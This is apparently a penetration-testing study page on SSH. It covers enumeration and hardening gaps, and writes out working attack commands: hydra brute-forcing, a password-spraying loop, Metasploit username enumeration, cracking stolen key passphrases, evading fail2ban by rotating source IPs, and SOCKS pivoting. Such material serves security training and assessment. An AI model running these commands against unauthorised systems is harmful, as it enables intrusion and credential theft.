SSH
SSH is the dominant Linux/Unix remote-access protocol. Default port TCP 22. Unlike most other footprinted services, SSH is genuinely well-hardened by default - successful unauthenticated attacks against modern OpenSSH are rare. The operator’s work here is identifying misconfigurations and weak credentials, not protocol-level exploitation. Banner version, supported algorithms, allowed authentication methods, and password-based-auth-enabled flags are the data points to collect.
# 1. Service scannmap -sV -sC -p22 <target>
# 2. Banner / cipher auditssh-audit <target>
# 3. Enumerate accepted authentication methodsssh -v -o PreferredAuthentications=none <target>
# 4. Username enumeration via timing (some OpenSSH versions)nmap -p22 --script ssh-auth-methods --script-args ssh.user=root <target>
# 5. Brute-force (with care - fail2ban catches you fast)hydra -L users.txt -P passwords.txt -t 4 -V ssh://<target>Success indicator: banner reveals version + OS hint, ssh-audit identifies weak algorithms, password authentication confirmed available, and (best case) credentials succeed.
Protocol overview
Section titled “Protocol overview”SSH (Secure Shell) provides encrypted authentication and command execution. The default daemon is OpenSSH (sshd). The protocol has three layers:
| Layer | Purpose |
|---|---|
| Transport | Key exchange, server authentication, encryption setup. Result: an encrypted channel with the server proven authentic via its host key. |
| User authentication | Methods like password, public key, GSSAPI, keyboard-interactive |
| Connection | Multiplexed channels - shell sessions, port forwards, X11 forwarding |
Authentication methods
Section titled “Authentication methods”| Method | Default? | Detail |
|---|---|---|
password | Yes (on most distros) | Username + password against /etc/passwd / PAM |
publickey | Yes | Client proves possession of a private key whose public counterpart is in ~/.ssh/authorized_keys |
keyboard-interactive | Yes | Challenge-response - used for 2FA prompts, PAM modules |
gssapi-with-mic | Yes on AD-integrated installs | Kerberos auth |
hostbased | Off | Trust based on the client host’s key |
The list of acceptable methods is what sshd advertises to clients during auth negotiation. The list of methods actually enabled server-side depends on sshd_config.
Version conventions
Section titled “Version conventions”OpenSSH version strings encode the version and patch level: OpenSSH_8.2p1 Ubuntu-4ubuntu0.5. Major version + distro identifier helps narrow OS family and patch level.
Default configuration - OpenSSH
Section titled “Default configuration - OpenSSH”/etc/ssh/sshd_config defaults (Debian/Ubuntu, current):
Port 22ListenAddress 0.0.0.0ListenAddress ::
Protocol 2
HostKey /etc/ssh/ssh_host_rsa_keyHostKey /etc/ssh/ssh_host_ecdsa_keyHostKey /etc/ssh/ssh_host_ed25519_key
LoginGraceTime 2mPermitRootLogin prohibit-password # was "yes" before 7.0, now "prohibit-password"StrictModes yesMaxAuthTries 6MaxSessions 10
PubkeyAuthentication yesPasswordAuthentication yesPermitEmptyPasswords noChallengeResponseAuthentication noUsePAM yes
AllowAgentForwarding yesAllowTcpForwarding yesPermitTunnel noGatewayPorts noX11Forwarding noPrintMotd yesTCPKeepAlive yesFor most distros this is a reasonable baseline:
- Root login disabled for password (
prohibit-passwordallows key-based root) - 6 auth attempts per connection (combined with fail2ban this caps abuse)
- Both password and pubkey auth allowed (operator-relevant - password auth is the brute-force path)
- TCP forwarding allowed (an SSH session can become a pivot)
Dangerous settings
Section titled “Dangerous settings”| Setting | What it enables |
|---|---|
PermitRootLogin yes | Root login with password - direct brute-force target |
PermitRootLogin without-password | Root with key - operationally same as default prohibit-password |
PermitEmptyPasswords yes | Accounts with empty passwords accepted (rare but devastating) |
PasswordAuthentication yes + weak password policy | Brute-forceable |
PermitTunnel point-to-point (or ethernet) | SSH can be used to build VPN-like tunnels |
GatewayPorts yes | Remote port forwards can bind to non-localhost - used by attackers to expose internal services through a compromised SSH host |
AllowTcpForwarding yes (default) | Combined with valid creds, you can pivot through this host |
X11Forwarding yes | Allows X11 - has been a vector for X11-cookie theft |
Subsystem sftp with no ChrootDirectory | SFTP users can roam the whole filesystem |
Match User <name> with reduced restrictions | Sometimes admins relax settings for specific users - find these via behavioral testing |
AcceptEnv * | Allows clients to set arbitrary env vars - historic vector for LD_PRELOAD-style attacks |
Old protocol version 1 (Protocol 1) | Cryptographically broken; should be disabled in OpenSSH 7+ but legacy systems persist |
| Weak ciphers / MACs / KEX algorithms | Identifiable via ssh-audit; some have known weaknesses |
The single highest-impact misconfig: PasswordAuthentication yes on an internet-exposed host without rate limiting + accounts with weak passwords. Botnet credential-spray works against millions of such hosts daily.
Footprinting commands
Section titled “Footprinting commands”Banner grab
Section titled “Banner grab”nc -nv 10.129.14.128 22(UNKNOWN) [10.129.14.128] 22 (ssh) openSSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5The banner alone identifies:
- SSH protocol version (
2.0) - Server implementation (
OpenSSH) - Daemon version (
8.2p1) - Distro hint (
Ubuntu-4ubuntu0.5- Ubuntu’s downstream patch level)
That distro hint is valuable: Ubuntu’s patch identifier maps to a specific Ubuntu release (Ubuntu-4ubuntu0.5 ≈ Ubuntu 20.04). Cross-reference with the Ubuntu USN database for patched-vs-unpatched determination.
Service scan
Section titled “Service scan”sudo nmap 10.129.14.128 -sV -sC -p22PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 3072 9d:b8:eb:cb:11:b9:78:7d:6a:f3:ad:88:f8:c4:1a:97 (RSA)| 256 d6:fd:51:65:5d:79:b6:62:0a:80:53:65:0b:0f:80:a3 (ECDSA)|_ 256 79:00:5e:8e:b0:38:f3:5e:e4:51:43:67:b8:32:7e:78 (ED25519)The host-key fingerprints help with two things:
- Identifying duplicate hosts. Many cloud-deployed hosts share the same first-boot key. Same fingerprint = images from the same template = often same credentials.
- Detecting MITM in repeat connections (verify the same fingerprint each time).
ssh-audit
Section titled “ssh-audit”ssh-audit is the comprehensive analyzer:
ssh-audit 10.129.14.128(gen) banner: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5(gen) software: OpenSSH 8.2p1(gen) compatibility: OpenSSH 7.4+, Dropbear SSH 2018.76+(gen) compression: enabled ([email protected])
(kex) curve25519-sha256 -- [info] available since OpenSSH 7.4(kex) [email protected] -- [info] available since OpenSSH 6.5(kex) ecdh-sha2-nistp256 -- [warn] using weak elliptic curves(kex) ecdh-sha2-nistp384 -- [warn] using weak elliptic curves(kex) diffie-hellman-group-exchange-sha256 -- [warn] using DH group exchange (might be weak)(kex) diffie-hellman-group16-sha512 -- [info] available since OpenSSH 7.3(kex) diffie-hellman-group18-sha512 -- [info] available since OpenSSH 7.3(kex) diffie-hellman-group14-sha256 -- [warn] using weak hashing algorithm(kex) diffie-hellman-group14-sha1 -- [fail] using broken SHA-1 hashing algorithm
(key) rsa-sha2-512 -- [info] available since OpenSSH 7.2(key) rsa-sha2-256 -- [info] available since OpenSSH 7.2(key) ssh-rsa -- [fail] using broken SHA-1 hashing algorithm(key) ecdsa-sha2-nistp256 -- [warn] using weak elliptic curves(key) ssh-ed25519 -- [info] best practice
(enc) [email protected] -- [info] AES-NI accelerated(enc) aes128-ctr -- [info] available since OpenSSH 3.7(enc) aes192-ctr -- [info] available since OpenSSH 3.7(enc) aes256-ctr -- [info] available since OpenSSH 3.7(enc) [email protected] -- [info] available since OpenSSH 6.2(enc) [email protected] -- [info] available since OpenSSH 6.2
(mac) [email protected] -- [warn] using small 64-bit tag size(mac) [email protected] -- [info] available since OpenSSH 6.2(mac) [email protected] -- [info] available since OpenSSH 6.2(mac) [email protected] -- [info] available since OpenSSH 6.2(mac) [email protected] -- [fail] using broken SHA-1 hashing algorithm(mac) hmac-sha1 -- [fail] using broken SHA-1 hashing algorithmWhat this gives you:
- (kex) - key exchange algorithms.
diffie-hellman-group14-sha1and similar flagged as “broken” with SHA-1 - (key) - host key types.
ssh-rsawith SHA-1 is now deprecated in OpenSSH 8.7+ - (enc) - cipher suites
- (mac) - MAC algorithms
Flagged fail items aren’t immediately exploitable but indicate a configuration that hasn’t been hardened. Useful as compliance/audit findings.
Authentication-method enumeration
Section titled “Authentication-method enumeration”ssh -v -o PreferredAuthentications=none -o StrictHostKeyChecking=no \debug1: Local version string SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5debug1: Remote protocol version 2.0, remote software version OpenSSH_8.2p1 Ubuntu-4ubuntu0.5debug1: Authenticating to 10.129.14.128:22 as 'user'debug1: kex: ...debug1: Authentications that can continue: publickey,passworddebug1: Next authentication method: publickeydebug1: Trying private key: /home/you/.ssh/id_rsadebug1: Trying private key: /home/you/.ssh/id_ed25519debug1: No more authentication methods to try.Permission denied (publickey,password).Key data points from the verbose output:
Authentications that can continue: publickey,password- methods accepted by the server for this username. Ifpasswordappears, brute-force is on the table.- If you see
Authentications that can continue: publickeyonly - password auth is disabled. Move to key-based approaches (find a stolen key, social-engineer, or look for the user’sauthorized_keyswritten elsewhere). - If
keyboard-interactiveappears → some form of 2FA or PAM module is active.
A faster way:
nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" 10.129.14.128PORT STATE SERVICE22/tcp open ssh| ssh-auth-methods:| Supported authentication methods:| publickey|_ passwordUsername enumeration
Section titled “Username enumeration”Older OpenSSH versions had timing-based username enumeration:
CVE-2018-15473(OpenSSH < 7.7) - different timing for valid vs invalid usernamesCVE-2016-6210(OpenSSH < 7.3) - different timing on long passwords
Exploitation:
# Metasploit modulemsf > use auxiliary/scanner/ssh/ssh_enumusersmsf > set RHOSTS <target>msf > set USER_FILE users.txtmsf > set CHECK_FALSE true # also verify against known-invalid baselinemsf > runFor modern OpenSSH (7.7+), these are patched. Don’t rely on timing enumeration without first confirming the version is in scope.
Brute-force with rate-limiting awareness
Section titled “Brute-force with rate-limiting awareness”hydra -L users.txt -P passwords.txt -t 4 -V ssh://10.129.14.128-t 4 runs 4 concurrent threads. Going higher gets you blocked. Most modern Linux distros run fail2ban out of the box - after 5 failed attempts from one source, your IP gets blocked for 10+ minutes via iptables.
Detect fail2ban behaviorally:
- First few attempts: connect immediately, get error, retry
- After ~5 failures: connections start hanging (firewall dropping packets)
- After lockout window: connections work again
When fail2ban is in the way:
- Slow down (
-t 1, sleep between attempts) - Rotate source IPs (multiple proxies, multiple cloud instances)
- Switch to a different attack - credential dumps from leaked databases, internal-only access via VPN
Single-credential validation
Section titled “Single-credential validation”When you want to test one cred without the noise:
sshpass automates the password prompt. Combine with a small loop for spraying ONE password across many users (the inverted brute-force pattern):
for user in $(cat users.txt); do sshpass -p 'Spring2024!' ssh -o StrictHostKeyChecking=no \ -o BatchMode=no \ -o ConnectTimeout=4 \ "$user@10.129.14.128" 'whoami' 2>&1 \ | grep -v "Permission denied" | head -3doneThis pattern is much friendlier to fail2ban because each attempt is from the same source against different usernames - fail2ban typically blocks the source for repeatedly failing a single account, not for one failure per account.
Using a stolen/found private key
Section titled “Using a stolen/found private key”chmod 600 found_id_rsaIf the key is passphrase-protected, crack the passphrase with ssh2john + hashcat:
ssh2john found_id_rsa > id_rsa.hashhashcat -m 22921 id_rsa.hash /usr/share/wordlists/rockyou.txtSSH tunnels / pivoting
Section titled “SSH tunnels / pivoting”Once you have SSH access, the connection is a pivot:
# Local port forward: target_internal:80 reachable as localhost:8080ssh -L 8080:internal-host:80 user@<jump>
# Dynamic SOCKS proxy (route any traffic through the jump host)ssh -D 1080 user@<jump># Then use proxychains or browser-level SOCKS5 to use it
# Remote port forward (your local service exposed to the remote network)ssh -R 4444:127.0.0.1:4444 user@<jump># Useful for callback shells from networks that can't egressIf AllowTcpForwarding no is set, these don’t work - sshuttle is the fallback (works over a plain shell session).
Common chained workflows
Section titled “Common chained workflows”Banner → version-specific CVE:
- Banner shows OpenSSH version
- Cross-reference with CVE database
- Test (carefully - most SSH CVEs are DoS or info-leak, not RCE)
Stolen key from NFS → SSH access:
- NFS export contains user home directories with
.ssh/id_rsa(see NFS) - Copy the key
ssh -i stolen_key user@target- instant access
SMB/SQL creds → SSH spray:
- Found valid
cry0l1t3:Pass123via SMB - Spray that pair across SSH targets in the same network
- Password reuse is endemic; one finding often opens many doors
SSH access → tunnel → internal-only services:
- SSH to the bastion host
ssh -D 1080 user@bastionopens a SOCKS proxyproxychains nmap -sT 10.0.0.0/24scans the internal network from inside the bastion’s perspective
Quick reference
Section titled “Quick reference”| Task | Command |
|---|---|
| Banner grab | nc -nv <target> 22 |
| Service scan | nmap -sV -sC -p22 <target> |
| Cipher audit | ssh-audit <target> |
| Auth methods | ssh -v -o PreferredAuthentications=none user@<target> |
| Auth methods (NSE) | nmap -p22 --script ssh-auth-methods --script-args ssh.user=root <target> |
| User enum (old SSH) | msf > use auxiliary/scanner/ssh/ssh_enumusers |
| Brute-force | hydra -L users -P pass -t 4 ssh://<target> |
| One-shot password | sshpass -p '<pass>' ssh user@<target> |
| Key login | ssh -i <key> user@<target> |
| Crack key passphrase | ssh2john key > h && hashcat -m 22921 h wordlist |
| Local port forward | ssh -L <local>:<host>:<port> user@<jump> |
| SOCKS proxy | ssh -D 1080 user@<jump> |
| Remote port forward | ssh -R <remote>:<local-host>:<local-port> user@<jump> |